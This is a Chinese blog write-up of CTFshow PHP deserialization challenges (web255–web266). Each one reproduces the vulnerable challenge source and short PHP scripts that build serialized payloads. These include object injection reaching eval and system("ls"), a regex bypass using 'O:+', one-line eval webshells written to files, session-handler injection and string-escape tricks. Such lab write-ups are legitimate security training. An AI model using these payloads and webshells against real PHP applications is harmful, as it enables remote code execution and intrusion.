CTFshow-php反序列化

详解wp可参考此处
该博客仅提供大致内容,还望包涵。

web255

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

通过代码审计发现,即使账号密码正确,function:checkVip $isVip仍为false;
所以反序列化先构造一个该变量为true。同时要记得将输出的反序列化内容经过url编码再复制!
在这里插入图片描述

web256

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

跟上一题相比,多了一条规则在vipOneKeyGetFlag中,要求username!=password。所以直接反序列化一个username和password不等的类就行。
其余内容跟上题一致。
注意构造的新类要和传递进的参数保持一致
在这里插入图片描述
在这里插入图片描述

web257

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

跟账号密码基本没关系了。反序列化时new info了这样一个新类。在这里只需把info这个新类改成backdoor,就可以通过backdoor中的private code变量来rce了。 序列化只是针对类的类名和变量,对非对方法(非严谨措辞)。
修改如下两处即可。这里先遍历了一下目录。后面flag tac查看一下就能拿到。

 public function __construct(){
        $this->class=new backdoor();
    }
 class backDoor{
    private $code = 'system("ls");';
    public function getInfo(){
        eval($this->code);
    }
}

web258

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

多了个正则。匹配O:数字。在url中,+和空格作用一致,所以在反序列化时,用O:+xxx来绕过。
如下运行得到结果

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code='eval($_POST[1]);';
    public function getInfo(){
        eval($this->code);
    }
}
$test = new ctfShowUser();
$c=serialize($test);
$a=str_replace(':11',':+11',$c);
$b=str_replace(':8',':+8',$a);
echo urlencode($b);

?>

在这里插入图片描述

web260

序列化后的仍包含它本身
在这里插入图片描述

web261

<?php

highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);

代码审计还是很重要的。大致看了下跟最后读取flag有关的可能两个点,一个是_invoke,一个是_destruct

对象本身不能直接当函数用,如果被当做函数用,会直接回调__invoke方法

没有直接引用的类所以不执行。所以只能是后者作为突破点。code需要 = 0x36d,即877。php中 为弱类型比较,所以即使是877.php也0x36d。在执行反序列化unserialize()时,wakeup是不执行的,且在_unserialize中code有username和password拼接,所以构造如下payload。

<?php
class ctfshowvip{
    public $username = '877.php';
    public $password = '<?php @eval($_POST[a]);?>';
    public $code;
	
}
$a = new ctfshowvip();
//echo 'a';
echo urlencode(serialize($a));
?>

访问目录,找到flag。
在这里插入图片描述

web262

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

备注中有提到message.php,如下:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 15:13:03
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

这里就有两套思路

A

既然token要==admin,那么直接序列化message类,将token参数修改为admin即可。

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='admin';
	public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
	
}
$a = new message('a','b','c');
//echo 'a';
//echo serialize($a);
echo base64_encode(serialize($a));
//echo urlencode(serialize($a));
?>

B

直接payload了

<?php 
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
function filter($s){
    return str_replace('fuck','loveu',$s);
}
$test = new message(str_repeat('fuck',62).'";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');
$a = serialize($test);
$b = filter($a);
$c = base64_encode($b);
echo $c;
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}
//62::O:7:"message":4:{s:4:"from";s:4:"loveu";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}
?>

web263

进入后是个登陆界面,用dirsearch假模假样的搜了下,有源码泄露。
跟解题有关的php
在这里插入图片描述
初始状态下,会将cookie值设为1,再通过加密。
1
在check.php中,可以发现有调用cookie
在这里插入图片描述
所以针对cookie的序列化操作,在ini.php中又有一个文件上传
在这里插入图片描述
如何利用,就要用到session反序列化漏洞的知识
简单来说就是index和其余两个的phpsession序列化引擎不一致。前者是默认php,后者是php_serialize
两者区别如下
在这里插入图片描述
可以看到两者最大区别就是有无|,php:存储方式是,键名+竖线+经过serialize()函数序列处理的值。

payload:

<?php
class User{
    public $username ;
    public $password ;
    public $status ;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
}
$a = new User('1.php','<?php eval($_POST[1])?>');
$b = serialize($a);
$c = base64_encode('|'.$b);
echo $c;
?>

php_serialize引擎下|内容是被当作字符处理,php默认引擎下|后的值作为键值会被反序列化。
参考视频

web264

这题跟262基本没大区别,基础知识没掌握好搞了半天。在传参时加了单引号一直反序列化失败。

题目

session_start();

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

message.php

session_start();
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_SESSION['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

get传参f、m、t,构成session。成功后页面输出Your message has been sent。进入message.php后,需要传入一个任意cookie后即可。
payload

?f=a&m=b&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

web265

include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}

payload:让password的值恒指向token的地址

<?php
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = &$this->token;;
    }
    public function login(){
        return $this->token===$this->password;
    }
}
$a = new ctfshowAdmin('1','2');
echo serialize($a);

web266

include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

只要让ctfshow这个类销毁,就可以输出flag。在这里构造一个ctfshow类,但破坏里面的结构(随意删除里面的内容)。虽然无法被换序列化且仍会被检测到并且throw报错,但destruct魔术方法仍执行。如果是正确的序列化,在匹配后则不会调用魔术方法直接报错,个人猜测是报错上的一些机制的不同。
在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值